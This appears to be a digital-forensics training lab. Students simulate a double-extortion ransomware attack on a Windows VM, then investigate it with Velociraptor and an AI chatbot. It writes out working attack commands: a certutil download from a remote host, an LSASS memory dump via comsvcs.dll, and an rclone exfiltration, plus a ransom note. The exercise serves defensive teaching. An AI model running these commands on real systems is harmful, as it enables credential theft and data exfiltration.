

Module 5 — Lab Exercise: Advanced DFIR Investigation

Modern Ransomware & Double Extortion

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Duration: 90 minutes | Instructor: Booma sowthiri B | Scenario: Operation DeepSilence

Target: Windows 10 Workstation

The Scenario:

At 03:00 AM, the EDR agent on workstation `EC2AMAZ-BHFBJIQ` triggered a low-priority alert for an unusual `certutil.exe` connection. By the time the night-shift analyst logged in, the workstation had already staged 40GB of data. You have been called in to perform a post-mortem. The threat actor is suspected to be AetherLocker, a group known for "Double Extortion"- stealing data before encrypting it.

What You Will Accomplish

By the end of this lab, you will have:

- Simulated a modern multi-stage ransomware attack manually.
- Collected forensic evidence using Velociraptor hunts.
- Analyzed high-fidelity artifacts (USN Journal, Registry).
- Leveraged AI to automate the investigation.
- Constructed a professional incident report based on AI outputs.

Lab Environment

- Velociraptor Server: ``<provided-by-instructor>``
- User VM: Windows 10 (The "Victim")
- AI Workspace: AI chatbot with MCP enabled
- Credentials: `admin / `<provided-by-instructor>``

Task 0 — Environment Preparation (5 min)

Objective: Ensure all forensic and attack commands are executed in the correct environment.

Step 0.1 — Switch to PowerShell

In your SSH session or on the Victim VM, type the following to enter the PowerShell environment:

```
powershell
```

Step 0.2 — Verify Elevation

Confirm your prompt now starts with `PS` (e.g., `PS C:\Users\Administrator>`).

Task 1 — Simulate the Breach: The Attack Lifecycle (20 min)

Objective: Act as the adversary to understand the digital breadcrumbs you will later find.

Step 1.1 — Delivery of Tools (The "Mock" Method)

Simulation of downloading payload from the attacker's toolkit.

```
# Simulate downloading a malicious payload using Certutil (Legacy Step)
# This will trigger a Wazuh alert
certutil.exe -urlcache -f http://10.30.5.50:5555/rclone.exe rclone.exe
```

Step 1.2 — Reconnaissance (LotL)

Check the system configuration to find sensitive data paths:

```
whoami /all
net user
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
```

Step 1.3 — Credential Access (Mock LSASS Dump)

Attackers dump LSASS to steal clear-text passwords or hashes.

```
# In a real attack, they would use procdump.exe or Mimikatz)
tasklist /fi "imagename eq lsass.exe"
rundll32.exe comsvcs.dll MiniDump 600 lsass.dmp full
```

Task 2 — Data Staging & Exfiltration

Step 2.1 — Staging the "Crown Jewels"

Create a directory and "steal" some sensitive files for exfiltration.

```
"Hello World" | Out-File notes.txt
mkdir C:\Users\Administrator\Documents\Internal_Staging
copy C:\Users\$env:USERNAME\Documents\*.txt
C:\Users\Public\Documents\Internal_Staging\
copy C:\Users\$env:USERNAME\Documents\*.dmp
C:\Users\Public\Documents\Internal_Staging\
```

Step 2.2 — Exfiltration via Rclone

Normally, they would upload to Mega.nz or S3. We will simulate a transfer.

```
# Simulating exfiltration to a remote IP (185.25.x.x)
.\rclone.exe copy C:\Users\Public\Documents\Internal_Staging\
remote:backup --progress
```

Task 3 — The Impact: Ransomware Deployment

Objective: Trigger the final high-priority alerts by "dropping" the ransom note.

Step 3.1 — Create the Ransom Note

Execution of this command will trigger the Wazuh FIM and Ransomware Pattern rules.

```
$note = @"
### !!! ALL YOUR SENSITIVE DATA IS ENCRYPTED AND STOLEN !!!
DEEPTRUSTXAI PVT LTD - ATTENTION
We have successfully exfiltrated 40.2 GB of your R&D blueprints.
YOUR UNIQUE ID: DTA-9922-SLNCE
PAYMENT PORTAL (TOR): http://aetherlock777vhj...onion
"@
$note | Out-File -FilePath "$HOME\Desktop\DEEP_SILENCE_README.txt" -
Encoding ascii
```

Task 4 — AI-Driven Automated Investigation (30 min)

Objective: Use AIChat interface to orchestrate the entire investigation and generate a professional HTML report.

Step 4.1 — Access AIChat & List Alerts

Open AIChat Interface and use the integrated AI DFIR Portal MCP to see the "eyes" of the system.

Prompt: "List all pending high-priority alerts from the AI DFIR Portal."

Step 4.2 — Launch Investigation (The Level 12 Event)

Identify the alert: Level 12 — CertUtil.exe launched with commands to create a binary file.

Prompt: "Launch a full-scale automated investigation for the Level 12 CertUtil alert. Collect all relevant artifacts and correlate the timeline."

Step 4.3 — Monitor & Verify

Wait a few minutes while the AI autonomously queries Velociraptor and Timesketch.

Prompt: "Check the status of the investigation. Has the exfiltration tool been identified yet?"

Step 4.4 — Generate the Final HTML Report

Observe how the AI simplifies complex forensic data into a human-readable format.

Prompt: "Summarize all findings and generate a download link for a professional HTML Forensic Report. Include the MITRE ATT&CK mapping."

Step 4.5 — The Efficiency Challenge (Optional)

While the AI works, open the Velociraptor Dashboard or the AI DFIR Platform manually.

Try to find the same `rclone.exe` execution in the Prefetch logs.

- Observation: Notice how many manual clicks and VQL queries it takes compared to asking the AI.

Task 5 — The Aftermath: Ransom Note Analysis (15 min)

Step 5.1 — Find the "Really Interesting" Note

Check the Desktop of the victim VM. You will find a file named `DEEP\_SILENCE\_README.txt`.

```
cat ../Desktop/DEEP_SILENCE_README.txt
```

Ransom Note Content (AetherLocker):

!!! ALL YOUR SENSITIVE DATA IS ENCRYPTED AND STOLEN !!!

DEEPTRUSTXAI PVT LTD - ATTENTION

We have successfully exfiltrated 40.2 GB of your R&D blueprints, customer PII, and financial statements to our private servers.

THE CLOCK IS TICKING:

- 1. Your data will be published on our leak site in 48 HOURS if you do not pay.*
- 2. We have already sent a sample of your "Project X" source code to your top competitor as a courtesy.*
- 3. Do not contact the FBI. They cannot decrypt our custom Aether-RSA algorithm.*

YOUR UNIQUE ID: `DTA-9922-SLNCE`

PAYMENT PORTAL (TOR): `http://aetherlock777vhj...onion`

Reflection Questions

1. The AI Advantage: How did using the LLM speed up your investigation compared to manually reading thousands of USN Journal entries?
2. Detection Gap: If Sysmon had been disabled on this host, which one Velociraptor artifact would have still proven the attack happened?
3. Prevention: Based on Task 1, what Group Policy change could have prevented the use of `certutil.exe` for downloading external files?

Submission Checklist

- Screenshot of `rclone.exe` in Velociraptor Windows.Forensics.CertUtil results.
- List of file names staged in `Internal\_Staging` (from USN Journal).
- The AI-generated Incident Summary Report.
- Answers to reflection questions.